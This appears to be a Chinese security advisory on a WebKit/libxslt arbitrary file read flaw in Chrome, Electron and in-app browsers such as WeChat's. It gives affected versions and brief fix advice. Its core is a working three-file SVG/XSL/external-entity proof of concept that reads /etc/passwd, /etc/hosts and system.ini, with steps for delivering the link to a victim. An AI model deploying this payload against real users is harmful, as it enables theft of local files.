开源浏览器引擎WebKit任意文件读取漏洞

Google Chrome是Google开发的网页浏览器,基于开源内核(如WebKit),旨在提升稳定性、速度和安全性,界面简单高效。然而,通过在SVG图像链接中使用XSL样式表和外部实体引用,攻击者可以读取受害者计算机上的任意文件。

一、漏洞描述

Google Chrome是一款由Google(谷歌)公司开发的网页浏览器。该浏览器基于开源内核(如WebKit)编写,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。WebKit默认使用的xsl库(Libxslt),调用document()加载的文档里面包含对外部实体的引用。攻击者可以创建并托管包含XSL样式表的SVG图像和包含外部实体引用的文档。

当受害者访问SVG图像链接时,浏览器会解析XSL样式表,调用document() 加载包含外部实体引用的文档,读取受害者机器的任意文件。

二、漏洞影响

Chrome 版本 < 116.0.5845.96
Chromium 版本 < 116.0.5845.96
Electron 版本 < 26.1.0

国内影响影响:

使用谷歌浏览器内核的应用基本都受影响,如:手机微信,支付宝,抖音,携程,小米(自带浏览器),UC浏览器,via浏览器,夸克浏览等等(这些都是11月19日晚测过的)

三、漏洞验证

以安卓版微信,读取手机/etc/hosts文件为例: 测试环境微信版本为最新版8.0.43

构造三个文件并部署在服务器上

 

c.html

<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";

var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini:
&sysini;
</p>
</p>

创建好三个文件后,上传至服务器上部署、将构造好的链接通过会话框发给任意好友,我这里演示发给文件传输助手,然后点击这个链接,返回读取文成功。

四、漏洞修复建议

1、升级应用内置浏览器版本;

2、用户不要点击陌生链接,防止被攻击

原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/webkit-browser-arbitrary-file-read-vulnerability.html

(0)
上一篇 2023年11月27日 下午11:03
下一篇 2023年12月1日 下午10:01

相关推荐